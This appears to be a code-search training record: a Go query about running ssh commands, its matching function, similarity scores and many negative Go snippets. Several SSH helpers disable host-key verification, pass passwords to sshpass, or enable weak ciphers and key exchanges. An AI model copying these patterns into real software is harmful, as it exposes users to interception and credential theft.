[]string{\"application/json-patch+json\", \"application/json\", \"text/json\", \"application/_*+json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"text/plain\", \"application/json\", \"text/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &imageSaveAsPngParameters\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 200 {\n\t\t\tvar v ImageSaveAsPngResponse\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "func (img *Image) writeAsJPEG() (image.Image, error) {\n\tvar err error\n\text, err := imaging.FormatFromExtension(img.Extension)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"couldn't format from extension: %s\", img.Extension)\n\t}\n\n\tswitch ext {\n\tcase imaging.JPEG:\n\t\tbreak\n\tcase imaging.PNG:\n\t\terr = jpeg.Encode(&img.buf, img.Image, &jpeg.Options{}) // TODO: Quality\n\t\tbreak\n\tcase imaging.GIF:\n\t\terr = jpeg.Encode(&img.buf, img.Image, &jpeg.Options{}) // TODO: Quality\n\t\tbreak\n\tdefault:\n\t\terr = errors.New(\"format is not supported yet\")\n\t\tbreak\n\t}\n\treturn img.Image, err\n}", "func (d *Docker) SaveImage(ids []string, path string) error {\n\tfile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\tout, err := d.ImageSave(context.TODO(), ids)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif _, err = io.Copy(file, out); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (s *StegImage) WriteNewImageToB64() (b64Img string, err error) {\n\tbuf := new(bytes.Buffer)\n\terr = png.Encode(buf, s.newImg)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tb64Img = base64.StdEncoding.EncodeToString(buf.Bytes())\n\treturn b64Img, err\n}", "func Image(fnameIn, color string, length float64) (err error) {\n\tcmd := []string{\"-i\", fnameIn, \"-o\", fnameIn + \".png\", \"--background-color\", \"ffffff00\", \"--waveform-color\", color, \"--amplitude-scale\", \"1\", \"--no-axis-labels\", \"--pixels-per-second\", \"100\", \"--height\", \"120\", \"--width\",\n\t\tfmt.Sprintf(\"%2.0f\", length*100)}\n\tlogger.Debug(cmd)\n\tout, err := exec.Command(\"audiowaveform\", cmd...).CombinedOutput()\n\tif err != nil {\n\t\tlogger.Errorf(\"audiowaveform: %s\", out)\n\t}\n\treturn\n}", "func (enc *JBIG2Encoder) EncodeJBIG2Image(img *JBIG2Image) ([]byte, error) {\n\tconst processName = \"core.EncodeJBIG2Image\"\n\tif err := enc.AddPageImage(img, &enc.DefaultPageSettings); err != nil {\n\t\treturn nil, errors.Wrap(err, processName, \"\")\n\t}\n\treturn enc.Encode()\n}", "func EncodePngCompression(value int64) EncodePngAttr {\n\treturn func(m optionalAttr) {\n\t\tm[\"compression\"] = value\n\t}\n}" ]
[ "0.7993175", "0.769733", "0.76922625", "0.76922625", "0.7230596", "0.7078572", "0.7052648", "0.6957424", "0.6870585", "0.68314445", "0.6712056", "0.6661231", "0.66340137", "0.66288275", "0.66235965", "0.66093", "0.6603421", "0.6594863", "0.65524834", "0.65242696", "0.6481996", "0.64632046", "0.64525974", "0.64135206", "0.64080215", "0.6368577", "0.6205602", "0.6192833", "0.6186101", "0.61534137", "0.6123909", "0.6113094", "0.6104933", "0.6076703", "0.6017955", "0.601631", "0.6001626", "0.6000243", "0.59335226", "0.5929925", "0.5924686", "0.5902999", "0.58235615", "0.58202696", "0.5807706", "0.57976985", "0.57961744", "0.5784245", "0.5766823", "0.5761844", "0.5740909", "0.5723097", "0.5704805", "0.5700514", "0.5700435", "0.56999004", "0.56784904", "0.56374544", "0.55888426", "0.5575675", "0.5573076", "0.5553063", "0.5551042", "0.55481637", "0.5520546", "0.55147463", "0.54923207", "0.54920936", "0.54828143", "0.5476567", "0.5456926", "0.5449576", "0.5449393", "0.5445154", "0.54417", "0.5424887", "0.5407024", "0.53772986", "0.53502434", "0.5336022", "0.5335023", "0.5324421", "0.5323075", "0.5306533", "0.53057736", "0.52886117", "0.52705747", "0.5210635", "0.517928", "0.51763123", "0.5169321", "0.5163723", "0.5154196", "0.5146664", "0.51381826", "0.5128061", "0.51063055", "0.50957334", "0.50697577", "0.5069448" ]
0.7769111
1
ConnectCommand Aliases `ssh C command`
func ConnectCommand(args []string) string { if len(args) == 0 { log.Fatal("At least one argument must be supplied to use this command") } cs := strings.Join(args, " ") pn := conf.GetConfig().Tokaido.Project.Name + ".tok" r, err := utils.CommandSubSplitOutput("ssh", []string{"-q", "-o UserKnownHostsFile=/dev/null", "-o StrictHostKeyChecking=no", pn, "-C", cs}...) if err != nil { log.Fatal(err) } utils.DebugString(r) return r }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func StreamConnectCommand(args []string) {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tutils.StreamOSCmd(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n}", "func connect() cli.Command { // nolint: gocyclo\n\tcommand := cli.Command{\n\t\tName: \"connect\",\n\t\tAliases: []string{\"conn\"},\n\t\tUsage: \"Get a shell from a vm\",\n\t\tFlags: []cli.Flag{\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"user\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"ssh login user\",\n\t\t\t},\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"key\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"private key path (default: ~/.ssh/id_rsa)\",\n\t\t\t},\n\t\t},\n\t\tAction: func(c *cli.Context) error {\n\t\t\tvar name, loginUser, key string\n\t\t\tvar vmID int\n\t\t\tnameFound := false\n\t\t\tnargs := c.NArg()\n\t\t\tswitch {\n\t\t\tcase nargs == 1:\n\t\t\t\t// Parse flags\n\t\t\t\tif c.String(\"user\") != \"\" {\n\t\t\t\t\tloginUser = c.String(\"user\")\n\t\t\t\t} else {\n\t\t\t\t\tusr, _ := user.Current()\n\t\t\t\t\tloginUser = usr.Name\n\t\t\t\t}\n\n\t\t\t\tif c.String(\"key\") != \"\" {\n\t\t\t\t\tkey, _ = filepath.Abs(c.String(\"key\"))\n\t\t\t\t} else {\n\t\t\t\t\tusr, err := user.Current()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tkey = usr.HomeDir + \"/.ssh/id_rsa\"\n\t\t\t\t}\n\t\t\t\tname = c.Args().First()\n\t\t\t\tcli, err := client.NewEnvClient()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tlistArgs := filters.NewArgs()\n\t\t\t\tlistArgs.Add(\"ancestor\", VMLauncherContainerImage)\n\t\t\t\tcontainers, err := cli.ContainerList(context.Background(),\n\t\t\t\t\ttypes.ContainerListOptions{\n\t\t\t\t\t\tQuiet: false,\n\t\t\t\t\t\tSize: false,\n\t\t\t\t\t\tAll: true,\n\t\t\t\t\t\tLatest: false,\n\t\t\t\t\t\tSince: \"\",\n\t\t\t\t\t\tBefore: \"\",\n\t\t\t\t\t\tLimit: 0,\n\t\t\t\t\t\tFilters: listArgs,\n\t\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tfor id, container := range containers {\n\t\t\t\t\tif container.Names[0][1:] == name {\n\t\t\t\t\t\tnameFound = true\n\t\t\t\t\t\tvmID = id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !nameFound {\n\t\t\t\t\tfmt.Printf(\"Unable to find a running vm with name: %s\", name)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t} else {\n\t\t\t\t\tvmIP := containers[vmID].NetworkSettings.Networks[\"bridge\"].IPAddress\n\t\t\t\t\tgetNewSSHConn(loginUser, vmIP, key)\n\t\t\t\t}\n\n\t\t\tcase nargs == 0:\n\t\t\t\tfmt.Println(\"No name provided as argument.\")\n\t\t\t\tos.Exit(1)\n\n\t\t\tcase nargs > 1:\n\t\t\t\tfmt.Println(\"Only one argument is allowed\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn command\n}", "func ConnectCommandOutput(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr := utils.CommandSubstitution(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\n\tutils.DebugString(r)\n\n\treturn r\n}", "func sshconnect(n *Node) (*ssh.Session, error) {\n\tuser := n.UserName\n\thost := n.Addr\n\tport := 22\n\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// Get auth method\n\tif n.AuthMethod == \"privateKey\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, publicKeyAuthFunc(n.PrivateKey))\n\t} else if n.AuthMethod == \"password\" {\n\t\tauth = make([]ssh.AuthMethod, 0)\n\t\tauth = append(auth, ssh.Password(n.Password))\n\t}\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func (rhost *rhostData) cmdConnect(rec *receiveData) {\n\n\t// Parse cmd connect data\n\tpeer, addr, port, err := rhost.cmdConnectData(rec)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Does not process this command if peer already connected\n\tif _, ok := rhost.teo.arp.find(peer); ok {\n\t\tteolog.DebugVv(MODULE, \"peer\", peer, \"already connected, suggests address\",\n\t\t\taddr, \"port\", port)\n\t\treturn\n\t}\n\n\t// Does not create connection if connection with this address an port\n\t// already exists\n\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\n\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0, \"already exsists\")\n\t\treturn\n\t}\n\n\tgo func() {\n\t\trhost.teo.wg.Add(1)\n\t\tdefer rhost.teo.wg.Done()\n\t\t// Create new connection\n\t\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\n\n\t\t// Replay to address received in command data\n\t\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\n\n\t\t// Disconnect this connection if it does not added to peers arp table during timeout\n\t\t//go func(tcd *trudp.ChannelData) {\n\t\ttime.Sleep(1500 * time.Millisecond)\n\t\tif !rhost.running {\n\t\t\tteolog.DebugVv(MODULE, \"channel discovery task finished...\")\n\t\t\treturn\n\t\t}\n\t\tif _, ok := rhost.teo.arp.find(tcd); !ok {\n\t\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0,\n\t\t\t\t\"with peer does not established during timeout\")\n\t\t\ttcd.Close()\n\t\t\treturn\n\t\t}\n\t}()\n}", "func sshConnect(ctx context.Context, conn net.Conn, ssh ssh.ClientConfig, dialTimeout time.Duration, addr string) (net.Conn, error) {\n\tssh.Timeout = dialTimeout\n\tsconn, err := tracessh.NewClientConnWithDeadline(ctx, conn, addr, &ssh)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, conn.Close())\n\t}\n\n\t// Build a net.Conn over the tunnel. Make this an exclusive connection:\n\t// close the net.Conn as well as the channel upon close.\n\tconn, _, err = sshutils.ConnectProxyTransport(sconn.Conn, &sshutils.DialReq{\n\t\tAddress: constants.RemoteAuthServer,\n\t}, true)\n\tif err != nil {\n\t\treturn nil, trace.NewAggregate(err, sconn.Close())\n\t}\n\treturn conn, nil\n}", "func SshConnect(user, password, host string, port int) (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t\taddr string\n\t)\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(password))\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: user,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t}\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", host, port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func connectChart(ctx context.Context, d *dut.DUT, hostname string) (*ssh.Conn, error) {\n\tvar sopt ssh.Options\n\tssh.ParseTarget(hostname, &sopt)\n\tsopt.KeyDir = d.KeyDir()\n\tsopt.KeyFile = d.KeyFile()\n\tsopt.ConnectTimeout = 10 * time.Second\n\treturn ssh.New(ctx, &sopt)\n}", "func SSHConnect() {\n\tcommand := \"uptime\"\n\tvar usInfo userInfo\n\tvar kP keyPath\n\tkey, err := ioutil.ReadFile(kP.privetKey)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tsigner, err := ssh.ParsePrivateKey(key)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\thostKeyCallBack, err := knownhosts.New(kP.knowHost)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tconfig := &ssh.ClientConfig{\n\t\tUser: usInfo.user,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.PublicKeys(signer),\n\t\t},\n\t\tHostKeyCallback: hostKeyCallBack,\n\t}\n\tclient, err := ssh.Dial(\"tcp\", usInfo.servIP+\":\"+usInfo.port, config)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer client.Close()\n\tss, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer ss.Close()\n\tvar stdoutBuf bytes.Buffer\n\tss.Stdout = &stdoutBuf\n\tss.Run(command)\n\tfmt.Println(stdoutBuf.String())\n}", "func executeCmd(remote_host string) string {\n\treadConfig(\"config\")\n\t//\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t//\tif err != nil {\n\t//\t\tlog.Fatal(err)\n\t//\t}\n\tvar config *ssh.ClientConfig\n\n\tif Conf.Method == \"password\" {\n\t\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\n\t} else if Conf.Method == \"key\" {\n\t\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tlog.Fatal(err)\n\t\t//\t\t}\n\t} else {\n\t\tlog.Fatal(`Please set method \"password\" or \"key\" at configuration file`)\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", remote_host+\":\"+Conf.SshPort, config)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\tif err := session.Run(Conf.Command); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\tfmt.Println(\"\\x1b[31;1m\" + remote_host + \"\\x1b[0m\")\n\treturn b.String()\n}", "func (sshClient *SSHClient) connect() (*ssh.Session, error) {\n\tvar (\n\t\tauth []ssh.AuthMethod\n\t\taddr string\n\t\tclientConfig *ssh.ClientConfig\n\t\tclient *ssh.Client\n\t\tsession *ssh.Session\n\t\terr error\n\t)\n\n\t// get auth method\n\tauth = make([]ssh.AuthMethod, 0)\n\tauth = append(auth, ssh.Password(sshClient.Password))\n\n\thostKeyCallbk := func(hostname string, remote net.Addr, key ssh.PublicKey) error {\n\t\treturn nil\n\t}\n\n\tclientConfig = &ssh.ClientConfig{\n\t\tUser: sshClient.Username,\n\t\tAuth: auth,\n\t\tTimeout: 30 * time.Second,\n\t\tHostKeyCallback: hostKeyCallbk,\n\t}\n\n\tclientConfig.Ciphers = append(clientConfig.Ciphers, \"aes128-cbc\", \"aes128-ctr\")\n\n\tif sshClient.KexAlgorithms != \"\" {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, sshClient.KexAlgorithms)\n\t} else {\n\t\tclientConfig.KeyExchanges = append(clientConfig.KeyExchanges, \"diffie-hellman-group1-sha1\")\n\t}\n\n\t/*if sshClient.Cipher != \"\" {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, sshClient.Cipher)\n\t} else {\n\t\tclientConfig.Cipher = append(clientConfig.Cipher, \"diffie-hellman-group1-sha1\")\n\t}*/\n\n\t// connet to ssh\n\taddr = fmt.Sprintf(\"%s:%d\", sshClient.Host, sshClient.Port)\n\n\tif client, err = ssh.Dial(\"tcp\", addr, clientConfig); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// create session\n\tif session, err = client.NewSession(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn session, nil\n}", "func SendCommand(cmd string) error {\n\tconn, _ := ConnectNhc(&config.Conf.NhcConfig)\n\t// no error handling as connect will exit in case of issue\n\tlog.Debug(\"received command: \", cmd)\n\tfmt.Println(\"received command: \", cmd)\n\tfmt.Fprintf(conn, cmd+\"\\n\")\n\treturn nil\n}", "func NewConnectCmd(f factory.Factory) *cobra.Command {\n\tconnectCmd := &cobra.Command{\n\t\tUse: \"connect\",\n\t\tShort: \"Connect an external cluster to devspace cloud\",\n\t\tLong: `\n#######################################################\n################# devspace connect ####################\n#######################################################\n\t`,\n\t\tArgs: cobra.NoArgs,\n\t}\n\n\tconnectCmd.AddCommand(newClusterCmd(f))\n\n\treturn connectCmd\n}", "func main() {\n\tprintln(\"ENTER THE ADDRESS TO CONNECT (ex: \\\"185.20.227.83:22\\\"):\") //185.20.227.83:22\n\tline, _, _ := bufio.NewReader(os.Stdin).ReadLine()\n\taddr := string(line)\n\tprintln(\"CHOOSE A CONNECTION METHOD \\\"PASSWORD\\\" OR \\\"KEY\\\" (ex: \\\"PASSWORD\\\"):\")\n\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\tconnMethod := string(line)\n\n\tvar config *ssh.ClientConfig\n\tif connMethod == \"PASSWORD\" {\n\t\tconfig = getConfigWithPass()\n\t} else if connMethod == \"KEY\" {\n\t\tconfig = getConfigWithKey()\n\t} else {\n\t\tlog.Fatal(\"INCORRECT METHOD\")\n\t\treturn\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", addr, config)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tprintln(\"ENTER \\\"EXIT\\\" TO QUIT\")\n\tfor {\n\t\tfmt.Println(\"ENTER THE COMMAND:\")\n\t\tline, _, _ = bufio.NewReader(os.Stdin).ReadLine()\n\t\tcommand := string(line)\n\t\tfmt.Println(\"YOUR COMMAND:\", command)\n\t\tif command == \"EXIT\" {\n\t\t\tbreak\n\t\t}\n\t\tsendCommandToServer(client, command)\n\t}\n}", "func Run(connectAs string, connectTo string, key string) {\n\ttarget := connectAs + \"@\" + connectTo\n\tlog.Info(\"Connecting as \" + target)\n\n\texecutable := \"sshpass\"\n\tparams := []string{\n\t\t\"-p\", key, \"ssh\", \"-o\", \"StrictHostKeyChecking=no\", \"-t\", \"-t\", target,\n\t}\n\tlog.Infof(\"Launching: %s %s\", executable, strings.Join(params, \" \"))\n\n\tif log.GetLevel() == log.DebugLevel {\n\t\tfor i, param := range params {\n\t\t\tif param == \"ssh\" {\n\t\t\t\ti = i + 1\n\t\t\t\t// Yes: this is crazy, but this inserts an element into a slice\n\t\t\t\tparams = append(params[:i], append([]string{\"-v\"}, params[i:]...)...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tcmd := exec.Command(executable, params...)\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdout = os.Stdout\n\tcmd.Stdin = os.Stdin\n\terr := cmd.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcmd.Wait()\n\tlog.Infof(\"Just ran subprocess %d, exiting\\n\", cmd.Process.Pid)\n}", "func InvokeCommand(ip, cmdStr string) (string, error) {\n\t// OpenSSH sessions terminate sporadically when a pty isn't allocated.\n\t// The -t flag doesn't work with OpenSSH on Windows, so we wrap the ssh call\n\t// within a bash session as a workaround, so that a pty is created.\n\tcmd := exec.Command(\"/bin/bash\")\n\tcmd.Stdin = strings.NewReader(fmt.Sprintf(sshTemplate, ip, cmdStr))\n\tout, err := cmd.CombinedOutput()\n\treturn strings.TrimSpace(string(out[:])), err\n}", "func (client *Client) Connect() error {\n\tkeys := ssh.Auth{\n\t\tKeys: []string{client.PrivateKeyFile},\n\t}\n\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \"SSH-2.0-MyCustomClient-1.0\", client.Port, &keys, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\terr = sshterm.Shell()\n\tif err != nil && err.Error() != \"exit status 255\" {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\treturn nil\n}", "func (this Scanner) connect(user, host string, conf ssh.ClientConfig) (*ssh.Client, *ssh.Session, error) {\n\t// Develop the network connection out\n\tconn, err := ssh.Dial(\"tcp\", host, &conf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\t// Actually perform our connection\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tconn.Close()\n\t\treturn nil, nil, err\n\t}\n\n\treturn conn, session, nil\n}", "func Test_SSH(t *testing.T) {\n\tvar cipherList []string\n\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tdefer session.Close()\n\n\tcmdlist := strings.Split(cmd, \";\")\n\tstdinBuf, err := session.StdinPipe()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tvar outbt, errbt bytes.Buffer\n\tsession.Stdout = &outbt\n\n\tsession.Stderr = &errbt\n\terr = session.Shell()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tfor _, c := range cmdlist {\n\t\tc = c + \"\\n\"\n\t\tstdinBuf.Write([]byte(c))\n\n\t}\n\tsession.Wait()\n\tt.Log((outbt.String() + errbt.String()))\n\treturn\n}", "func NewSSHCommand(p *config.KfParams) *cobra.Command {\n\tvar (\n\t\tdisableTTY bool\n\t\tcommand []string\n\t\tcontainer string\n\t)\n\n\tcmd := &cobra.Command{\n\t\tUse: \"ssh APP_NAME\",\n\t\tShort: \"Open a shell on an App instance.\",\n\t\tExample: `\n\t\t# Open a shell to a specific App\n\t\tkf ssh myapp\n\n\t\t# Open a shell to a specific Pod\n\t\tkf ssh pod/myapp-revhex-podhex\n\n\t\t# Start a different command with args\n\t\tkf ssh myapp -c /my/command -c arg1 -c arg2\n\t\t`,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tLong: `\n\t\tOpens a shell on an App instance using the Pod exec endpoint.\n\n\t\tThis command mimics CF's SSH command by opening a connection to the\n\t\tKubernetes control plane which spawns a process in a Pod.\n\n\t\tThe command connects to an arbitrary Pod that matches the App's runtime\n\t\tlabels. If you want a specific Pod, use the pod/<podname> notation.\n\n\t\tNOTE: Traffic is encrypted between the CLI and the control plane, and\n\t\tbetween the control plane and Pod. A malicious Kubernetes control plane\n\t\tcould observe the traffic.\n\t\t`,\n\t\tValidArgsFunction: completion.AppCompletionFn(p),\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cmd.Context()\n\t\t\tif err := p.ValidateSpaceTargeted(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstreamExec := execstreamer.Get(ctx)\n\n\t\t\tenableTTY := !disableTTY\n\t\t\tappName := args[0]\n\n\t\t\tpodSelector := metav1.ListOptions{}\n\t\t\tif strings.HasPrefix(appName, podPrefix) {\n\t\t\t\tpodName := strings.TrimPrefix(appName, podPrefix)\n\t\t\t\tpodSelector.FieldSelector = fields.OneTermEqualSelector(\"metadata.name\", podName).String()\n\t\t\t} else {\n\t\t\t\tappLabels := v1alpha1.AppComponentLabels(appName, \"app-server\")\n\t\t\t\tpodSelector.LabelSelector = labels.SelectorFromSet(appLabels).String()\n\t\t\t}\n\n\t\t\texecOpts := corev1.PodExecOptions{\n\t\t\t\tContainer: container,\n\t\t\t\tCommand: command,\n\t\t\t\tStdin: true,\n\t\t\t\tStdout: true,\n\t\t\t\tStderr: true,\n\t\t\t\tTTY: enableTTY,\n\t\t\t}\n\n\t\t\tt := term.TTY{\n\t\t\t\tOut: cmd.OutOrStdout(),\n\t\t\t\tIn: cmd.InOrStdin(),\n\t\t\t\tRaw: true,\n\t\t\t}\n\n\t\t\tsizeQueue := t.MonitorSize(t.GetSize())\n\n\t\t\tstreamOpts := remotecommand.StreamOptions{\n\t\t\t\tStdin: cmd.InOrStdin(),\n\t\t\t\tStdout: cmd.OutOrStdout(),\n\t\t\t\tStderr: cmd.ErrOrStderr(),\n\t\t\t\tTty: enableTTY,\n\t\t\t\tTerminalSizeQueue: sizeQueue,\n\t\t\t}\n\n\t\t\t// Set up a TTY locally if it's enabled.\n\t\t\tif fd, isTerm := dockerterm.GetFdInfo(streamOpts.Stdin); isTerm && enableTTY {\n\t\t\t\toriginalState, err := dockerterm.MakeRaw(fd)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdefer dockerterm.RestoreTerminal(fd, originalState)\n\t\t\t}\n\n\t\t\treturn streamExec.Stream(ctx, podSelector, execOpts, streamOpts)\n\t\t},\n\t}\n\n\tcmd.Flags().StringArrayVarP(\n\t\t&command,\n\t\t\"command\",\n\t\t\"c\",\n\t\t[]string{\"/bin/bash\"},\n\t\t\"Command to run for the shell. Subsequent definitions will be used as args.\",\n\t)\n\n\tcmd.Flags().StringVar(\n\t\t&container,\n\t\t\"container\",\n\t\tv1alpha1.DefaultUserContainerName,\n\t\t\"Container to start the command in.\",\n\t)\n\n\tcmd.Flags().BoolVarP(\n\t\t&disableTTY,\n\t\t\"disable-pseudo-tty\",\n\t\t\"T\",\n\t\tfalse,\n\t\t\"Don't use a TTY when executing.\",\n\t)\n\n\treturn cmd\n}", "func Exec(cmds []string, host config.Host, pwd string, force bool) (string, error) {\n\tvar err error\n\tvar auth goph.Auth\n\tvar callback ssh.HostKeyCallback\n\n\tif force {\n\t\tcallback = ssh.InsecureIgnoreHostKey()\n\t} else {\n\t\tif callback, err = DefaultKnownHosts(); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tif host.Keyfile != \"\" {\n\t\t// Start new ssh 